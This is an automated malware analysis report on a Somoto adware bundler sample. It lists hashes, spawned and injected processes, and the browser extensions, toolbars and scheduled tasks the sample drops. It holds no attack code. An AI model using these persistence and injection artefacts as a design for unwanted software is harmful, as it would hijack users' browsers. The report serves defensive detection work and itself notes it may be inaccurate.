Application.Bundler.Somoto.I_5423049c0b

by malwarelabrobot on April 19th, 2015 in Malware Descriptions.

Application.Bundler.Somoto.I (AdAware), SearchProtectToolbar_pcap.YR, mzpefinder_pcap_file.YR, SearchProtectToolbar.YR (Lavasoft MAS)
Behaviour: Malware

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

Dynamic Analysis

Static Analysis

Network Activity

Map

Strings from Dumps

Removals

MD5: 5423049c0be0b64dd47e76f4552912c0
SHA1: 29c342f4d21d5eba7a625cfd96d840518da5080b
SHA256: 35054483338941b57aa4173ac26c09e843ee6a3baeeff9a0a112f93f82ee962f
SSDeep: 3072:a22ihA0m3BJf0vccVecSqbnoNu5ae48AhS9D3iE18UPzodn3F1:1A0m3T0vcAedq7jYF8P3iAvUdV1
Size: 166568 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2010-12-17 11:14:12
Analyzed on: Windows7Ada SP1 64-bit

Summary:

Malware. Malware, short for malicious software, is any software used to disrupt computer operation, gather sensitive information, or gain access to private computer systems.

Payload

No specific payload has been found.

Process activity

The Application creates the following process(es):

%original file name%.exe:2984
ProtectService.exe:3952
ProtectService.exe:3988
YTAHelper.exe:3476
GLJC5A0.tmp:1200
ProtectWindowsManager.exe:3356
ProtectWindowsManager.exe:4048
F6BD.tmp:2588
Ktyvobm.exe:3204
XTab_Setup2121.exe:3624
b3a3cbdd-4265-4bdd-8d26-125cd5dfc9e3-4.exe:2648
jsdrv.exe:3208
wpm_v20.0.0.1953_0302.exe:460
biclient.exe:1576
fa685f8d-234c-469b-ad75-56eb948fe4f7-4.exe:3608
ins_yta.exe:1056
QQBrowser.exe:1524
QQBrowser.exe:3536
testlsp.exe:3112
vlc-cache-gen.exe:3092
01783b5d-40d7-41d4-9ba0-a7e585dc1505-4.exe:3784
powershell.exe:2936
powershell.exe:3744
powershell.exe:3888
setup.exe:3624
HPNotify.exe:2544
Bxaze.exe:3380
vlc-2.0.6-win32.exe:3944
cmdshell.exe:2300
ShopperPro.exe:4004
GLBC522.tmp:2348
smt_istartsurf.exe:3324
appshat.exe:884
ins_shopperpro.exe:3096
Auajfs.exe:2484
regsvr32.exe:3108
regsvr32.exe:3588
regsvr32.exe:3568
regsvr32.exe:3632
regsvr32.exe:4088
regsvr32.exe:3160
lspinst.exe:3812
lspinst.exe:3716
webplayer_installer.exe:3804
YTAHEL~1.EXE:3388
appshat_generic.exe:4076
vlc.exe:4056
DCytaiesmt_smtyc_setup.exe:2044
DCytaiesmt_smtyc_setup.exe:2444
DCytaiesmt_smtyc_setup.exe:3520
DCytaiesmt_smtyc_setup.exe:3288
DCytaiesmt_smtyc_setup.exe:1004
DCytaiesmt_smtyc_setup.exe:3676
cscript.exe:3916
spbiu.exe:3408
spbiu.exe:960
wscript.exe:3684
YouTubeAcceleratorService.exe:1580
YouTubeAcceleratorService.exe:2512
YouTubeAcceleratorService.exe:2728
INS_SENSE.EXE:928
taskeng.exe:3764
ytaiesmt_smtyc_setup.exe:2464
INS_IWEBAR.EXE:3804

The Application injects its code into the following process(es):

YouTubeAccelerator.exe:3840
WebPlayer.exe:2420
YouTubeAcceleratorService.exe:3128

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:2984 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nscE86B.tmp (5695 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (91 bytes)

The process ProtectService.exe:3952 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\IHProtectUpDate\update\conf (5 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (49 bytes)

The process ProtectService.exe:3988 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\msvcp110.dll (536 bytes)
%Program Files% (x86)\XTab\msvcr110.dll (876 bytes)

The process YTAHelper.exe:3476 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\config.json (269 bytes)
C:\ProgramData\YTAHelper\config.json (269 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.xul (203 bytes)
C:\ProgramData\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
%Program Files% (x86)\YTAHelper\config.json (269 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\install.rdf (884 bytes)
C:\ProgramData\YTAHelper\YTAHelper.dll (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\shopperpro_128.png (5 bytes)
C:\ProgramData\YTAHelper\YTAHelper64.dll (3073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\YTAHelper_64.png (4 bytes)

The process GLJC5A0.tmp:1200 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)

The process ProtectWindowsManager.exe:3356 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\WindowsMangerProtect\update\conf (5 bytes)

The process F6BD.tmp:2588 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE031.tmp\IpConfig.dll (4254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE031.tmp\NSISEncrypt.dll (3392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\lm (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\mj (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE031.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE031.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE031.tmp\nsJSON.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE031.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Swift Record\tlg (41 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE031.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE031.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssE031.tmp\WmiInspector.dll (3137 bytes)

The process Ktyvobm.exe:3204 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd360F.tmp\vbgcpdhzf.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd360F.tmp\fa685f8d-234c-469b-ad75-56eb948fe4f7-4.dll (37727 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd360F.tmp\xkvwnkajx.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd360F.tmp\199495 (93025 bytes)
%Program Files% (x86)\iWebar\utils.exe (79170 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd360F.tmp\kryenm.dll (3410 bytes)
%Program Files% (x86)\iWebar\fa685f8d-234c-469b-ad75-56eb948fe4f7-5.exe (7547 bytes)
%Program Files% (x86)\iWebar\fa685f8d-234c-469b-ad75-56eb948fe4f7-4.exe (9147 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd360F.tmp\40280 (3509 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd360F.tmp\gwulugj.dll (30 bytes)
%Program Files% (x86)\iWebar\fa685f8d-234c-469b-ad75-56eb948fe4f7.xpi (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst35D0.tmp (570635 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd360F.tmp\qvvshx.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd360F.tmp\exinfivx.dll (23 bytes)
%Program Files% (x86)\iWebar\Uninstall.exe (601 bytes)
C:\Windows\Tasks\fa685f8d-234c-469b-ad75-56eb948fe4f7-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd360F.tmp\hcwuy.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd360F.tmp (4 bytes)
C:\Windows\Tasks\fa685f8d-234c-469b-ad75-56eb948fe4f7-5_user.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd360F.tmp\lxfxjtoab.dll (31236 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsd360F.tmp\System.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\ipgeoapi_com[1].json (40 bytes)

The process XTab_Setup2121.exe:3624 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\web\img\loading.gif (5 bytes)
%Program Files% (x86)\XTab\skin\btn.png (2 bytes)
%Program Files% (x86)\XTab\install.data (68 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-CN\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\en-US\messages.json (3 bytes)
%Program Files% (x86)\XTab\HPNotify.exe (17941 bytes)
%Program Files% (x86)\XTab\conf (1594 bytes)
%Program Files% (x86)\XTab\web\js\library.js (4216 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\es-419\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\indexIE8.html (1794 bytes)
%Program Files% (x86)\XTab\web\_locales\pt\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\ver.txt (47 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-BE\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\input_bk.png (2 bytes)
%Program Files% (x86)\XTab\web\_locales\pl\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\it-IT\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\conf_back.png (1623 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CA\messages.json (3 bytes)
%Program Files% (x86)\XTab\uninstall.exe (1343 bytes)
%Program Files% (x86)\XTab\skin\btn_apply.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy7723.tmp\System.dll (23 bytes)
%Program Files% (x86)\XTab\skin\conf.xml (8 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (1685 bytes)
%Program Files% (x86)\XTab\web\indexIE.html (1 bytes)
%Program Files% (x86)\XTab\web\_locales\ru-MO\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\js\xagainit-ie8.js (4 bytes)
%Program Files% (x86)\XTab\skin\about_bk.png (1436 bytes)
%Program Files% (x86)\XTab\web\_locales\es-ES\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\main.xml (4 bytes)
%Program Files% (x86)\XTab\web\img\icon48.png (3 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (33992 bytes)
%Program Files% (x86)\XTab\skin\radio_2.png (3 bytes)
%Program Files% (x86)\XTab\msvcr110.dll (21280 bytes)
%Program Files% (x86)\XTab\searchProvider.xml (8 bytes)
%Program Files% (x86)\XTab\web\_locales\it-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\ProtectService.exe (5468 bytes)
%Program Files% (x86)\XTab\web\js\js.js (18 bytes)
%Program Files% (x86)\XTab\ffsearch_toolbar!1.0.0.1028.xpi (15 bytes)
%Program Files% (x86)\XTab\skin\logo.png (5 bytes)
%Program Files% (x86)\XTab\web\js\xagainit2.0.js (4 bytes)
%Program Files% (x86)\XTab\web\main.css (19 bytes)
%Program Files% (x86)\XTab\web\_locales\vi-VI\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\_locales\ru\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\close.png (3 bytes)
%Program Files% (x86)\XTab\web\data.html (20 bytes)
%Program Files% (x86)\XTab\web\img\logo32.ico (4 bytes)
%Program Files% (x86)\XTab\web\img\icon128.png (9 bytes)
%Program Files% (x86)\XTab\web\js\jquery.autocomplete.js (12 bytes)
%Program Files% (x86)\XTab\skin\about.png (4 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-FR\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\icon16.png (628 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\settings.png (5 bytes)
%Program Files% (x86)\XTab\web\js\jquery-1.11.0.min.js (4726 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-LU\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\js\ga.js (1568 bytes)
%Program Files% (x86)\XTab\web\js\common.js (2 bytes)
%Program Files% (x86)\XTab\web\_locales\tr-TR\messages.json (4 bytes)
%Program Files% (x86)\XTab\SupTab.dll (15946 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (20 bytes)
%Program Files% (x86)\XTab\web\_locales\pt-BR\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\google_trends.png (7 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-TW\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\rigth_arrow.png (2 bytes)
%Program Files% (x86)\XTab\msvcp110.dll (16990 bytes)
%Program Files% (x86)\XTab\skin\radio_1.png (3 bytes)

The process YouTubeAccelerator.exe:3840 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_3112_testlsp.log_tmp (150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk2BF8.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk2CCD.tmp (50 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\SMALLTEST[1].htm (70 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (879 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3940_firefox.log_tmp (48 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk2CAC.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk2BD7.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk2952.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk2CCF.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_3128.log_tmp (591 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_3112.log_tmp (815 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_3112_testlsp.log_tmp (989 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3324_smt_istartsurf.log_tmp (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk2CE3.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk2BD5.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3128_YouTubeAcceleratorService.log_tmp (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (228930 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk2BFA.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3112_testlsp.log_tmp (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk2CE1.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk2BB4.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk2C0C.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk2D14.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk2C9A.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_3840.log (83886 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_3840.log_tmp (14 bytes)

The process b3a3cbdd-4265-4bdd-8d26-125cd5dfc9e3-4.exe:2648 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\efe1d41ed44b9924ef981f2cd9a0fa86.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\54c6db31c60cd4d1c53fb9c7cd0b8647.js (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\e9b7299021cb1d93153b54791fd9f93e.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\7773659a3dac1b071673ef1d2c702f20.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\6bb93d792109156f2970f7ba5f3a8493.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\background.js (433 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\de5d70306ec6636537f3217120f32b78.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\337.js (413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\391.js (801 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\41f8468d880755a268e0967c0e3f2835.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon128.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon24.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\74dffe9cd310c030cc75b6b2bd2ae771.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\b1ad372f656ea615fb064aad665dd63e.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\skin.css (949 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\6788e04c3053d6cff5c4ce46195957c8.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon48.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\cc3902e2ec6372ed3cb1236be03746cc.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\07a80c81e0558cef23093164d81b22e6.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\eb81d644fc82ebdbae2a236482e77246.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\2455d7fee30b3004397475628e480968.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\815bf80b491fd57bb59944f4f7dffab5.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\2b8c9325c8adb2471be3be97be2c6fbe.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\9be124552a2e2a730aa9ac34f3fa9d42.js (804 bytes)
